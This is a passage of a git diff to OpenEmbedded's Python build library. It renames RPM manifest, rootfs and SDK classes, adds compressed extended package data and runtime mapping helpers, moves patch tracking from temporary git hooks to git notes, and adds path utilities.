# SPDX-License-Identifier: GPL-2.0-only
#
from oe.manifest import Manifest
-class RpmManifest(Manifest):
+class PkgManifest(Manifest):
"""
Returns a dictionary object with mip and mlp packages.
"""
diff --git a/meta/lib/oe/package_manager/rpm/rootfs.py b/meta/lib/oe/package_manager/rpm/rootfs.py
index 2de5752b91..3ba5396320 100644
--- a/meta/lib/oe/package_manager/rpm/rootfs.py
+++ b/meta/lib/oe/package_manager/rpm/rootfs.py
@@ -1,21 +1,23 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
from oe.rootfs import Rootfs
from oe.manifest import Manifest
from oe.utils import execute_pre_post_process
-from oe.package_manager.rpm.manifest import RpmManifest
+from oe.package_manager.rpm.manifest import PkgManifest
from oe.package_manager.rpm import RpmPM
-class RpmRootfs(Rootfs):
+class PkgRootfs(Rootfs):
def __init__(self, d, manifest_dir, progress_reporter=None, logcatcher=None):
- super(RpmRootfs, self).__init__(d, progress_reporter, logcatcher)
+ super(PkgRootfs, self).__init__(d, progress_reporter, logcatcher)
self.log_check_regex = r'(unpacking of archive failed|Cannot find package'\
r'|exit 1|ERROR: |Error: |Error |ERROR '\
r'|Failed |Failed: |Failed$|Failed\(\d+\):)'
- self.manifest = RpmManifest(d, manifest_dir)
+ self.manifest = PkgManifest(d, manifest_dir)
self.pm = RpmPM(d,
d.getVar('IMAGE_ROOTFS'),
@@ -108,7 +110,7 @@ class RpmRootfs(Rootfs):
if self.progress_reporter:
self.progress_reporter.next_stage()
- self._setup_dbg_rootfs(['/etc', '/var/lib/rpm', '/var/cache/dnf', '/var/lib/dnf'])
+ self._setup_dbg_rootfs(['/etc/rpm', '/etc/rpmrc', '/etc/dnf', '/var/lib/rpm', '/var/cache/dnf', '/var/lib/dnf'])
execute_pre_post_process(self.d, rpm_post_process_cmds)
diff --git a/meta/lib/oe/package_manager/rpm/sdk.py b/meta/lib/oe/package_manager/rpm/sdk.py
index b14b155a85..ea79fe050b 100644
--- a/meta/lib/oe/package_manager/rpm/sdk.py
+++ b/meta/lib/oe/package_manager/rpm/sdk.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
@@ -6,16 +8,16 @@ import glob
from oe.utils import execute_pre_post_process
from oe.sdk import Sdk
from oe.manifest import Manifest
+from oe.package_manager.rpm.manifest import PkgManifest
from oe.package_manager.rpm import RpmPM
-class RpmSdk(Sdk):
+class PkgSdk(Sdk):
def __init__(self, d, manifest_dir=None, rpm_workdir="oe-sdk-repo"):
- super(RpmSdk, self).__init__(d, manifest_dir)
+ super(PkgSdk, self).__init__(d, manifest_dir)
- from oe.package_manager.rpm.manifest import RpmManifest
- self.target_manifest = RpmManifest(d, self.manifest_dir,
+ self.target_manifest = PkgManifest(d, self.manifest_dir,
Manifest.MANIFEST_TYPE_SDK_TARGET)
- self.host_manifest = RpmManifest(d, self.manifest_dir,
+ self.host_manifest = PkgManifest(d, self.manifest_dir,
Manifest.MANIFEST_TYPE_SDK_HOST)
rpm_repo_workdir = "oe-sdk-repo"
@@ -65,7 +67,12 @@ class RpmSdk(Sdk):
self.target_pm.install_complementary(self.d.getVar('SDKIMAGE_INSTALL_COMPLEMENTARY'))
+ env_bkp = os.environ.copy()
+ os.environ['PATH'] = self.d.expand("${COREBASE}/scripts/nativesdk-intercept") + \
+ os.pathsep + os.environ["PATH"]
+
self.target_pm.run_intercepts(populate_sdk='target')
+ os.environ.update(env_bkp)
execute_pre_post_process(self.d, self.d.getVar("POPULATE_SDK_POST_TARGET_COMMAND"))
@@ -110,5 +117,6 @@ class RpmSdk(Sdk):
for f in glob.glob(os.path.join(self.sdk_output, "etc", "rpm*")):
self.movefile(f, native_sysconf_dir)
for f in glob.glob(os.path.join(self.sdk_output, "etc", "dnf", "*")):
- self.movefile(f, native_sysconf_dir)
+ self.mkdirhier(native_sysconf_dir + "/dnf")
+ self.movefile(f, native_sysconf_dir + "/dnf")
self.remove(os.path.join(self.sdk_output, "etc"), True)
diff --git a/meta/lib/oe/packagedata.py b/meta/lib/oe/packagedata.py
index a82085a792..2d1d6ddeb7 100644
--- a/meta/lib/oe/packagedata.py
+++ b/meta/lib/oe/packagedata.py
@@ -1,9 +1,16 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
import codecs
import os
+import json
+import bb.compress.zstd
+import oe.path
+
+from glob import glob
def packaged(pkg, d):
return os.access(get_subpkgedata_fn(pkg, d) + '.packaged', os.R_OK)
@@ -19,7 +26,7 @@ def read_pkgdatafile(fn):
import re
with open(fn, 'r') as f:
lines = f.readlines()
- r = re.compile("([^:]+):\s*(.*)")
+ r = re.compile(r"(^.+?):\s+(.*)")
for l in lines:
m = r.match(l)
if m:
@@ -45,18 +52,30 @@ def read_pkgdata(pn, d):
return read_pkgdatafile(fn)
#
-# Collapse FOO_pkg variables into FOO
+# Collapse FOO:pkg variables into FOO
#
def read_subpkgdata_dict(pkg, d):
ret = {}
subd = read_pkgdatafile(get_subpkgedata_fn(pkg, d))
for var in subd:
- newvar = var.replace("_" + pkg, "")
- if newvar == var and var + "_" + pkg in subd:
+ newvar = var.replace(":" + pkg, "")
+ if newvar == var and var + ":" + pkg in subd:
continue
ret[newvar] = subd[var]
return ret
+def read_subpkgdata_extended(pkg, d):
+ import json
+ import bb.compress.zstd
+
+ fn = d.expand("${PKGDATA_DIR}/extended/%s.json.zstd" % pkg)
+ try:
+ num_threads = int(d.getVar("BB_NUMBER_THREADS"))
+ with bb.compress.zstd.open(fn, "rt", encoding="utf-8", num_threads=num_threads) as f:
+ return json.load(f)
+ except FileNotFoundError:
+ return None
+
def _pkgmap(d):
"""Return a dictionary mapping package to recipe name."""
@@ -96,3 +115,252 @@ def recipename(pkg, d):
"""Return the recipe name for the given binary package name."""
return pkgmap(d).get(pkg)
+
+def foreach_runtime_provider_pkgdata(d, rdep, include_rdep=False):
+ pkgdata_dir = d.getVar("PKGDATA_DIR")
+ possibles = set()
+ try:
+ possibles |= set(os.listdir("%s/runtime-rprovides/%s/" % (pkgdata_dir, rdep)))
+ except OSError:
+ pass
+
+ if include_rdep:
+ possibles.add(rdep)
+
+ for p in sorted(list(possibles)):
+ rdep_data = read_subpkgdata(p, d)
+ yield p, rdep_data
+
+def get_package_mapping(pkg, basepkg, d, depversions=None):
+ import oe.packagedata
+
+ data = oe.packagedata.read_subpkgdata(pkg, d)
+ key = "PKG:%s" % pkg
+
+ if key in data:
+ if bb.data.inherits_class('allarch', d) and bb.data.inherits_class('packagegroup', d) and pkg != data[key]:
+ bb.error("An allarch packagegroup shouldn't depend on packages which are dynamically renamed (%s to %s)" % (pkg, data[key]))
+ # Have to avoid undoing the write_extra_pkgs(global_variants...)
+ if bb.data.inherits_class('allarch', d) and not d.getVar('MULTILIB_VARIANTS') \
+ and data[key] == basepkg:
+ return pkg
+ if depversions == []:
+ # Avoid returning a mapping if the renamed package rprovides its original name
+ rprovkey = "RPROVIDES:%s" % pkg
+ if rprovkey in data:
+ if pkg in bb.utils.explode_dep_versions2(data[rprovkey]):
+ bb.note("%s rprovides %s, not replacing the latter" % (data[key], pkg))
+ return pkg
+ # Do map to rewritten package name
+ return data[key]
+
+ return pkg
+
+def get_package_additional_metadata(pkg_type, d):
+ base_key = "PACKAGE_ADD_METADATA"
+ for key in ("%s_%s" % (base_key, pkg_type.upper()), base_key):
+ if d.getVar(key, False) is None:
+ continue
+ d.setVarFlag(key, "type", "list")
+ if d.getVarFlag(key, "separator") is None:
+ d.setVarFlag(key, "separator", "\\n")
+ metadata_fields = [field.strip() for field in oe.data.typed_value(key, d)]
+ return "\n".join(metadata_fields).strip()
+
+def runtime_mapping_rename(varname, pkg, d):
+ #bb.note("%s before: %s" % (varname, d.getVar(varname)))
+
+ new_depends = {}
+ deps = bb.utils.explode_dep_versions2(d.getVar(varname) or "")
+ for depend, depversions in deps.items():
+ new_depend = get_package_mapping(depend, pkg, d, depversions)
+ if depend != new_depend:
+ bb.note("package name mapping done: %s -> %s" % (depend, new_depend))
+ new_depends[new_depend] = deps[depend]
+
+ d.setVar(varname, bb.utils.join_deps(new_depends, commasep=False))
+
+ #bb.note("%s after: %s" % (varname, d.getVar(varname)))
+
+def emit_pkgdata(pkgfiles, d):
+ def process_postinst_on_target(pkg, mlprefix):
+ pkgval = d.getVar('PKG:%s' % pkg)
+ if pkgval is None:
+ pkgval = pkg
+
+ defer_fragment = """
+if [ -n "$D" ]; then
+ $INTERCEPT_DIR/postinst_intercept delay_to_first_boot %s mlprefix=%s
+ exit 0
+fi
+""" % (pkgval, mlprefix)
+
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
+ postinst_ontarget = d.getVar('pkg_postinst_ontarget:%s' % pkg)
+
+ if postinst_ontarget:
+ bb.debug(1, 'adding deferred pkg_postinst_ontarget() to pkg_postinst() for %s' % pkg)
+ if not postinst:
+ postinst = '#!/bin/sh\n'
+ postinst += defer_fragment
+ postinst += postinst_ontarget
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
+
+ def add_set_e_to_scriptlets(pkg):
+ for scriptlet_name in ('pkg_preinst', 'pkg_postinst', 'pkg_prerm', 'pkg_postrm'):
+ scriptlet = d.getVar('%s:%s' % (scriptlet_name, pkg))
+ if scriptlet:
+ scriptlet_split = scriptlet.split('\n')
+ if scriptlet_split[0].startswith("#!"):
+ scriptlet = scriptlet_split[0] + "\nset -e\n" + "\n".join(scriptlet_split[1:])
+ else:
+ scriptlet = "set -e\n" + "\n".join(scriptlet_split[0:])
+ d.setVar('%s:%s' % (scriptlet_name, pkg), scriptlet)
+
+ def write_if_exists(f, pkg, var):
+ def encode(str):
+ import codecs
+ c = codecs.getencoder("unicode_escape")
+ return c(str)[0].decode("latin1")
+
+ val = d.getVar('%s:%s' % (var, pkg))
+ if val:
+ f.write('%s:%s: %s\n' % (var, pkg, encode(val)))
+ return val
+ val = d.getVar('%s' % (var))
+ if val:
+ f.write('%s: %s\n' % (var, encode(val)))
+ return val
+
+ def write_extra_pkgs(variants, pn, packages, pkgdatadir):
+ for variant in variants:
+ with open("%s/%s-%s" % (pkgdatadir, variant, pn), 'w') as fd:
+ fd.write("PACKAGES: %s\n" % ' '.join(
+ map(lambda pkg: '%s-%s' % (variant, pkg), packages.split())))
+
+ def write_extra_runtime_pkgs(variants, packages, pkgdatadir):
+ for variant in variants:
+ for pkg in packages.split():
+ ml_pkg = "%s-%s" % (variant, pkg)
+ subdata_file = "%s/runtime/%s" % (pkgdatadir, ml_pkg)
+ with open(subdata_file, 'w') as fd:
+ fd.write("PKG:%s: %s" % (ml_pkg, pkg))
+
+ packages = d.getVar('PACKAGES')
+ pkgdest = d.getVar('PKGDEST')
+ pkgdatadir = d.getVar('PKGDESTWORK')
+
+ data_file = pkgdatadir + d.expand("/${PN}")
+ with open(data_file, 'w') as fd:
+ fd.write("PACKAGES: %s\n" % packages)
+
+ pkgdebugsource = d.getVar("PKGDEBUGSOURCES") or []
+
+ pn = d.getVar('PN')
+ global_variants = (d.getVar('MULTILIB_GLOBAL_VARIANTS') or "").split()
+ variants = (d.getVar('MULTILIB_VARIANTS') or "").split()
+
+ if bb.data.inherits_class('kernel', d) or bb.data.inherits_class('module-base', d):
+ write_extra_pkgs(variants, pn, packages, pkgdatadir)
+
+ if bb.data.inherits_class('allarch', d) and not variants \
+ and not bb.data.inherits_class('packagegroup', d):
+ write_extra_pkgs(global_variants, pn, packages, pkgdatadir)
+
+ workdir = d.getVar('WORKDIR')
+
+ for pkg in packages.split():
+ pkgval = d.getVar('PKG:%s' % pkg)
+ if pkgval is None:
+ pkgval = pkg
+ d.setVar('PKG:%s' % pkg, pkg)
+
+ extended_data = {
+ "files_info": {}
+ }
+
+ pkgdestpkg = os.path.join(pkgdest, pkg)
+ files = {}
+ files_extra = {}
+ total_size = 0
+ seen = set()
+ for f in pkgfiles[pkg]:
+ fpath = os.sep + os.path.relpath(f, pkgdestpkg)
+
+ fstat = os.lstat(f)
+ files[fpath] = fstat.st_size
+
+ extended_data["files_info"].setdefault(fpath, {})
+ extended_data["files_info"][fpath]['size'] = fstat.st_size
+
+ if fstat.st_ino not in seen:
+ seen.add(fstat.st_ino)
+ total_size += fstat.st_size
+
+ if fpath in pkgdebugsource:
+ extended_data["files_info"][fpath]['debugsrc'] = pkgdebugsource[fpath]
+ del pkgdebugsource[fpath]
+
+ d.setVar('FILES_INFO:' + pkg , json.dumps(files, sort_keys=True))
+
+ process_postinst_on_target(pkg, d.getVar("MLPREFIX"))
+ add_set_e_to_scriptlets(pkg)
+
+ subdata_file = pkgdatadir + "/runtime/%s" % pkg
+ with open(subdata_file, 'w') as sf:
+ for var in (d.getVar('PKGDATA_VARS') or "").split():
+ val = write_if_exists(sf, pkg, var)
+
+ write_if_exists(sf, pkg, 'FILERPROVIDESFLIST')
+ for dfile in sorted((d.getVar('FILERPROVIDESFLIST:' + pkg) or "").split()):
+ write_if_exists(sf, pkg, 'FILERPROVIDES:' + dfile)
+
+ write_if_exists(sf, pkg, 'FILERDEPENDSFLIST')
+ for dfile in sorted((d.getVar('FILERDEPENDSFLIST:' + pkg) or "").split()):
+ write_if_exists(sf, pkg, 'FILERDEPENDS:' + dfile)
+
+ sf.write('%s:%s: %d\n' % ('PKGSIZE', pkg, total_size))
+
+ subdata_extended_file = pkgdatadir + "/extended/%s.json.zstd" % pkg
+ num_threads = int(d.getVar("BB_NUMBER_THREADS"))
+ with bb.compress.zstd.open(subdata_extended_file, "wt", encoding="utf-8", num_threads=num_threads) as f:
+ json.dump(extended_data, f, sort_keys=True, separators=(",", ":"))
+
+ # Symlinks needed for rprovides lookup
+ rprov = d.getVar('RPROVIDES:%s' % pkg) or d.getVar('RPROVIDES')
+ if rprov:
+ for p in bb.utils.explode_deps(rprov):
+ subdata_sym = pkgdatadir + "/runtime-rprovides/%s/%s" % (p, pkg)
+ bb.utils.mkdirhier(os.path.dirname(subdata_sym))
+ oe.path.relsymlink(subdata_file, subdata_sym, True)
+
+ allow_empty = d.getVar('ALLOW_EMPTY:%s' % pkg)
+ if not allow_empty:
+ allow_empty = d.getVar('ALLOW_EMPTY')
+ root = "%s/%s" % (pkgdest, pkg)
+ os.chdir(root)
+ g = glob('*')
+ if g or allow_empty == "1":
+ # Symlinks needed for reverse lookups (from the final package name)
+ subdata_sym = pkgdatadir + "/runtime-reverse/%s" % pkgval
+ oe.path.relsymlink(subdata_file, subdata_sym, True)
+
+ packagedfile = pkgdatadir + '/runtime/%s.packaged' % pkg
+ open(packagedfile, 'w').close()
+
+ if bb.data.inherits_class('kernel', d) or bb.data.inherits_class('module-base', d):
+ write_extra_runtime_pkgs(variants, packages, pkgdatadir)
+
+ if bb.data.inherits_class('allarch', d) and not variants \
+ and not bb.data.inherits_class('packagegroup', d):
+ write_extra_runtime_pkgs(global_variants, packages, pkgdatadir)
+
+def mapping_rename_hook(d):
+ """
+ Rewrite variables to account for package renaming in things
+ like debian.bbclass or manual PKG variable name changes
+ """
+ pkg = d.getVar("PKG")
+ oe.packagedata.runtime_mapping_rename("RDEPENDS", pkg, d)
+ oe.packagedata.runtime_mapping_rename("RRECOMMENDS", pkg, d)
+ oe.packagedata.runtime_mapping_rename("RSUGGESTS", pkg, d)
diff --git a/meta/lib/oe/packagegroup.py b/meta/lib/oe/packagegroup.py
index 8fcaecde82..7b7594751a 100644
--- a/meta/lib/oe/packagegroup.py
+++ b/meta/lib/oe/packagegroup.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
diff --git a/meta/lib/oe/patch.py b/meta/lib/oe/patch.py
index 40755fbb03..60a0cc8291 100644
--- a/meta/lib/oe/patch.py
+++ b/meta/lib/oe/patch.py
@@ -1,7 +1,12 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
+import os
+import shlex
+import subprocess
import oe.path
import oe.types
@@ -24,9 +29,6 @@ class CmdError(bb.BBHandledException):
def runcmd(args, dir = None):
- import pipes
- import subprocess
-
if dir:
olddir = os.path.abspath(os.curdir)
if not os.path.exists(dir):
@@ -35,23 +37,28 @@ def runcmd(args, dir = None):
# print("cwd: %s -> %s" % (olddir, dir))
try:
- args = [ pipes.quote(str(arg)) for arg in args ]
+ args = [ shlex.quote(str(arg)) for arg in args ]
cmd = " ".join(args)
# print("cmd: %s" % cmd)
- (exitstatus, output) = subprocess.getstatusoutput(cmd)
+ proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
+ stdout, stderr = proc.communicate()
+ stdout = stdout.decode('utf-8')
+ stderr = stderr.decode('utf-8')
+ exitstatus = proc.returncode
if exitstatus != 0:
- raise CmdError(cmd, exitstatus >> 8, output)
- if " fuzz " in output and "Hunk " in output:
+ raise CmdError(cmd, exitstatus >> 8, "stdout: %s\nstderr: %s" % (stdout, stderr))
+ if " fuzz " in stdout and "Hunk " in stdout:
# Drop patch fuzz info with header and footer to log file so
# insane.bbclass can handle to throw error/warning
- bb.note("--- Patch fuzz start ---\n%s\n--- Patch fuzz end ---" % format(output))
+ bb.note("--- Patch fuzz start ---\n%s\n--- Patch fuzz end ---" % format(stdout))
- return output
+ return stdout
finally:
if dir:
os.chdir(olddir)
+
class PatchError(Exception):
def __init__(self, msg):
self.msg = msg
@@ -210,7 +217,7 @@ class PatchTree(PatchSet):
with open(self.seriespath, 'w') as f:
for p in patches:
f.write(p)
-
+
def Import(self, patch, force = None):
""""""
PatchSet.Import(self, patch, force)
@@ -287,13 +294,32 @@ class PatchTree(PatchSet):
self.Pop(all=True)
class GitApplyTree(PatchTree):
- patch_line_prefix = '%% original patch'
- ignore_commit_prefix = '%% ignore'
+ notes_ref = "refs/notes/devtool"
+ original_patch = 'original patch'
+ ignore_commit = 'ignore'
def __init__(self, dir, d):
PatchTree.__init__(self, dir, d)
self.commituser = d.getVar('PATCH_GIT_USER_NAME')
self.commitemail = d.getVar('PATCH_GIT_USER_EMAIL')
+ if not self._isInitialized(d):
+ self._initRepo()
+
+ def _isInitialized(self, d):
+ cmd = "git rev-parse --show-toplevel"
+ try:
+ output = runcmd(cmd.split(), self.dir).strip()
+ except CmdError as err:
+ ## runcmd returned non-zero which most likely means 128
+ ## Not a git directory
+ return False
+ ## Make sure repo is in builddir to not break top-level git repos, or under workdir
+ return os.path.samefile(output, self.dir) or oe.path.is_path_parent(d.getVar('WORKDIR'), output)
+
+ def _initRepo(self):
+ runcmd("git init".split(), self.dir)
+ runcmd("git add .".split(), self.dir)
+ runcmd("git commit -a --allow-empty -m bitbake_patching_started".split(), self.dir)
@staticmethod
def extractPatchHeader(patchfile):
@@ -427,7 +453,7 @@ class GitApplyTree(PatchTree):
# Prepare git command
cmd = ["git"]
GitApplyTree.gitCommandUserOptions(cmd, commituser, commitemail)
- cmd += ["commit", "-F", tmpfile]
+ cmd += ["commit", "-F", tmpfile, "--no-verify"]
# git doesn't like plain email addresses as authors
if author and '<' in author:
cmd.append('--author="%s"' % author)
@@ -436,44 +462,131 @@ class GitApplyTree(PatchTree):
return (tmpfile, cmd)
@staticmethod
- def extractPatches(tree, startcommit, outdir, paths=None):
+ def addNote(repo, ref, key, value=None):
+ note = key + (": %s" % value if value else "")
+ notes_ref = GitApplyTree.notes_ref
+ runcmd(["git", "config", "notes.rewriteMode", "ignore"], repo)
+ runcmd(["git", "config", "notes.displayRef", notes_ref, notes_ref], repo)
+ runcmd(["git", "config", "notes.rewriteRef", notes_ref, notes_ref], repo)
+ runcmd(["git", "notes", "--ref", notes_ref, "append", "-m", note, ref], repo)
+
+ @staticmethod
+ def removeNote(repo, ref, key):
+ notes = GitApplyTree.getNotes(repo, ref)
+ notes = {k: v for k, v in notes.items() if k != key and not k.startswith(key + ":")}
+ runcmd(["git", "notes", "--ref", GitApplyTree.notes_ref, "remove", "--ignore-missing", ref], repo)
+ for note, value in notes.items():
+ GitApplyTree.addNote(repo, ref, note, value)
+
+ @staticmethod
+ def getNotes(repo, ref):
+ import re
+
+ note = None
+ try:
+ note = runcmd(["git", "notes", "--ref", GitApplyTree.notes_ref, "show", ref], repo)
+ prefix = ""
+ except CmdError:
+ note = runcmd(['git', 'show', '-s', '--format=%B', ref], repo)
+ prefix = "%% "
+
+ note_re = re.compile(r'^%s(.*?)(?::\s*(.*))?$' % prefix)
+ notes = dict()
+ for line in note.splitlines():
+ m = note_re.match(line)
+ if m:
+ notes[m.group(1)] = m.group(2)
+
+ return notes
+
+ @staticmethod
+ def commitIgnored(subject, dir=None, files=None, d=None):
+ if files:
+ runcmd(['git', 'add'] + files, dir)
+ cmd = ["git"]
+ GitApplyTree.gitCommandUserOptions(cmd, d=d)
+ cmd += ["commit", "-m", subject, "--no-verify"]
+ runcmd(cmd, dir)
+ GitApplyTree.addNote(dir, "HEAD", GitApplyTree.ignore_commit)
+
+ @staticmethod
+ def extractPatches(tree, startcommits, outdir, paths=None):
import tempfile
import shutil
tempdir = tempfile.mkdtemp(prefix='oepatch')
try:
- shellcmd = ["git", "format-patch", "--no-signature", "--no-numbered", startcommit, "-o", tempdir]
- if paths:
- shellcmd.append('--')
- shellcmd.extend(paths)
- out = runcmd(["sh", "-c", " ".join(shellcmd)], tree)
- if out:
- for srcfile in out.split():
- for encoding in ['utf-8', 'latin-1']:
- patchlines = []
- outfile = None
- try:
- with open(srcfile, 'r', encoding=encoding) as f:
- for line in f:
- if line.startswith(GitApplyTree.patch_line_prefix):
- outfile = line.split()[-1].strip()
- continue
- if line.startswith(GitApplyTree.ignore_commit_prefix):
- continue
- patchlines.append(line)
- except UnicodeDecodeError:
+ for name, rev in startcommits.items():
+ shellcmd = ["git", "format-patch", "--no-signature", "--no-numbered", rev, "-o", tempdir]
+ if paths:
+ shellcmd.append('--')
+ shellcmd.extend(paths)
+ out = runcmd(["sh", "-c", " ".join(shellcmd)], os.path.join(tree, name))
+ if out:
+ for srcfile in out.split():
+ # This loop, which is used to remove any line that
+ # starts with "%% original patch", is kept for backwards
+ # compatibility. If/when that compatibility is dropped,
+ # it can be replaced with code to just read the first
+ # line of the patch file to get the SHA-1, and the code
+ # below that writes the modified patch file can be
+ # replaced with a simple file move.
+ for encoding in ['utf-8', 'latin-1']:
+ patchlines = []
+ try:
+ with open(srcfile, 'r', encoding=encoding, newline='') as f:
+ for line in f:
+ if line.startswith("%% " + GitApplyTree.original_patch):
+ continue
+ patchlines.append(line)
+ except UnicodeDecodeError:
+ continue
+ break
+ else:
+ raise PatchError('Unable to find a character encoding to decode %s' % srcfile)
+
+ sha1 = patchlines[0].split()[1]
+ notes = GitApplyTree.getNotes(os.path.join(tree, name), sha1)
+ if GitApplyTree.ignore_commit in notes:
continue
- break
- else:
- raise PatchError('Unable to find a character encoding to decode %s' % srcfile)
-
- if not outfile:
- outfile = os.path.basename(srcfile)
- with open(os.path.join(outdir, outfile), 'w') as of:
- for line in patchlines:
- of.write(line)
+ outfile = notes.get(GitApplyTree.original_patch, os.path.basename(srcfile))
+
+ bb.utils.mkdirhier(os.path.join(outdir, name))
+ with open(os.path.join(outdir, name, outfile), 'w') as of:
+ for line in patchlines:
+ of.write(line)
finally:
shutil.rmtree(tempdir)
+ def _need_dirty_check(self):
+ fetch = bb.fetch2.Fetch([], self.d)
+ check_dirtyness = False
+ for url in fetch.urls:
+ url_data = fetch.ud[url]
+ parm = url_data.parm
+ # a git url with subpath param will surely be dirty
+ # since the git tree from which we clone will be emptied
+ # from all files that are not in the subpath
+ if url_data.type == 'git' and parm.get('subpath'):
+ check_dirtyness = True
+ return check_dirtyness
+
+ def _commitpatch(self, patch, patchfilevar):
+ output = ""
+ # Add all files
+ shellcmd = ["git", "add", "-f", "-A", "."]
+ output += runcmd(["sh", "-c", " ".join(shellcmd)], self.dir)
+ # Exclude the patches directory
+ shellcmd = ["git", "reset", "HEAD", self.patchdir]
+ output += runcmd(["sh", "-c", " ".join(shellcmd)], self.dir)
+ # Commit the result
+ (tmpfile, shellcmd) = self.prepareCommit(patch['file'], self.commituser, self.commitemail)
+ try:
+ shellcmd.insert(0, patchfilevar)
+ output += runcmd(["sh", "-c", " ".join(shellcmd)], self.dir)
+ finally:
+ os.remove(tmpfile)
+ return output
+
def _applypatch(self, patch, force = False, reverse = False, run = True):
import shutil
@@ -488,31 +601,30 @@ class GitApplyTree(PatchTree):
return runcmd(["sh", "-c", " ".join(shellcmd)], self.dir)
- # Add hooks which add a pointer to the original patch file name in the commit message
reporoot = (runcmd("git rev-parse --show-toplevel".split(), self.dir) or '').strip()
if not reporoot:
raise Exception("Cannot get repository root for directory %s" % self.dir)
- hooks_dir = os.path.join(reporoot, '.git', 'hooks')
- hooks_dir_backup = hooks_dir + '.devtool-orig'
- if os.path.lexists(hooks_dir_backup):
- raise Exception("Git hooks backup directory already exists: %s" % hooks_dir_backup)
- if os.path.lexists(hooks_dir):
- shutil.move(hooks_dir, hooks_dir_backup)
- os.mkdir(hooks_dir)
- commithook = os.path.join(hooks_dir, 'commit-msg')
- applyhook = os.path.join(hooks_dir, 'applypatch-msg')
- with open(commithook, 'w') as f:
- # NOTE: the formatting here is significant; if you change it you'll also need to
- # change other places which read it back
- f.write('echo "\n%s: $PATCHFILE" >> $1' % GitApplyTree.patch_line_prefix)
- os.chmod(commithook, 0o755)
- shutil.copy2(commithook, applyhook)
+
+ patch_applied = True
try:
patchfilevar = 'PATCHFILE="%s"' % os.path.basename(patch['file'])
+ if self._need_dirty_check():
+ # Check dirtyness of the tree
+ try:
+ output = runcmd(["git", "--work-tree=%s" % reporoot, "status", "--short"])
+ except CmdError:
+ pass
+ else:
+ if output:
+ # The tree is dirty, no need to try to apply patches with git anymore
+ # since they fail, fallback directly to patch
+ output = PatchTree._applypatch(self, patch, force, reverse, run)
+ output += self._commitpatch(patch, patchfilevar)
+ return output
try:
shellcmd = [patchfilevar, "git", "--work-tree=%s" % reporoot]
self.gitCommandUserOptions(shellcmd, self.commituser, self.commitemail)
- shellcmd += ["am", "-3", "--keep-cr", "-p%s" % patch['strippath']]
+ shellcmd += ["am", "-3", "--keep-cr", "--no-scissors", "-p%s" % patch['strippath']]
return _applypatchhelper(shellcmd, patch, force, reverse, run)
except CmdError:
# Need to abort the git am, or we'll still be within it at the end
@@ -535,24 +647,14 @@ class GitApplyTree(PatchTree):
except CmdError:
# Fall back to patch
output = PatchTree._applypatch(self, patch, force, reverse, run)
- # Add all files
- shellcmd = ["git", "add", "-f", "-A", "."]
- output += runcmd(["sh", "-c", " ".join(shellcmd)], self.dir)
- # Exclude the patches directory
- shellcmd = ["git", "reset", "HEAD", self.patchdir]
- output += runcmd(["sh", "-c", " ".join(shellcmd)], self.dir)
- # Commit the result
- (tmpfile, shellcmd) = self.prepareCommit(patch['file'], self.commituser, self.commitemail)
- try:
- shellcmd.insert(0, patchfilevar)
- output += runcmd(["sh", "-c", " ".join(shellcmd)], self.dir)
- finally:
- os.remove(tmpfile)
+ output += self._commitpatch(patch, patchfilevar)
return output
+ except:
+ patch_applied = False
+ raise
finally:
- shutil.rmtree(hooks_dir)
- if os.path.lexists(hooks_dir_backup):
- shutil.move(hooks_dir_backup, hooks_dir)
+ if patch_applied:
+ GitApplyTree.addNote(self.dir, "HEAD", GitApplyTree.original_patch, os.path.basename(patch['file']))
class QuiltTree(PatchSet):
@@ -575,6 +677,8 @@ class QuiltTree(PatchSet):
def Clean(self):
try:
+ # make sure that patches/series file exists before quilt pop to keep quilt-0.67 happy
+ open(os.path.join(self.dir, "patches","series"), 'a').close()
self._runcmd(["pop", "-a", "-f"])
oe.path.remove(os.path.join(self.dir, "patches","series"))
except Exception:
@@ -711,8 +815,9 @@ class NOOPResolver(Resolver):
self.patchset.Push()
except Exception:
import sys
- os.chdir(olddir)
raise
+ finally:
+ os.chdir(olddir)
# Patch resolver which relies on the user doing all the work involved in the
# resolution, with the exception of refreshing the remote copy of the patch
@@ -772,9 +877,9 @@ class UserResolver(Resolver):
# User did not fix the problem. Abort.
raise PatchError("Patch application failed, and user did not fix and refresh the patch.")
except Exception:
- os.chdir(olddir)
raise
- os.chdir(olddir)
+ finally:
+ os.chdir(olddir)
def patch_path(url, fetch, workdir, expand=True):
@@ -894,4 +999,3 @@ def should_apply(parm, d):
return False, "applies to later version"
return True, None
-
diff --git a/meta/lib/oe/path.py b/meta/lib/oe/path.py
index 082972457b..5d21cdcbdf 100644
--- a/meta/lib/oe/path.py
+++ b/meta/lib/oe/path.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
@@ -123,7 +125,8 @@ def copyhardlinktree(src, dst):
if os.path.isdir(src):
if len(glob.glob('%s/.??*' % src)) > 0:
source = './.??* '
- source += './*'
+ if len(glob.glob('%s/**' % src)) > 0:
+ source += './*'
s_dir = src
else:
source = src
@@ -169,6 +172,9 @@ def symlink(source, destination, force=False):
if e.errno != errno.EEXIST or os.readlink(destination) != source:
raise
+def relsymlink(target, name, force=False):
+ symlink(os.path.relpath(target, os.path.dirname(name)), name, force=force)
+
def find(dir, **walkoptions):
""" Given a directory, recurses into that directory,
returning all files as absolute paths. """
@@ -320,3 +326,24 @@ def which_wild(pathname, path=None, mode=os.F_OK, *, reverse=False, candidates=F
return files
+def canonicalize(paths, sep=','):
+ """Given a string with paths (separated by commas by default), expand
+ each path using os.path.realpath() and return the resulting paths as a
+ string (separated using the same separator a the original string).
+ """
+ # Ignore paths containing "$" as they are assumed to be unexpanded bitbake
+ # variables. Normally they would be ignored, e.g., when passing the paths
+ # through the shell they would expand to empty strings. However, when they
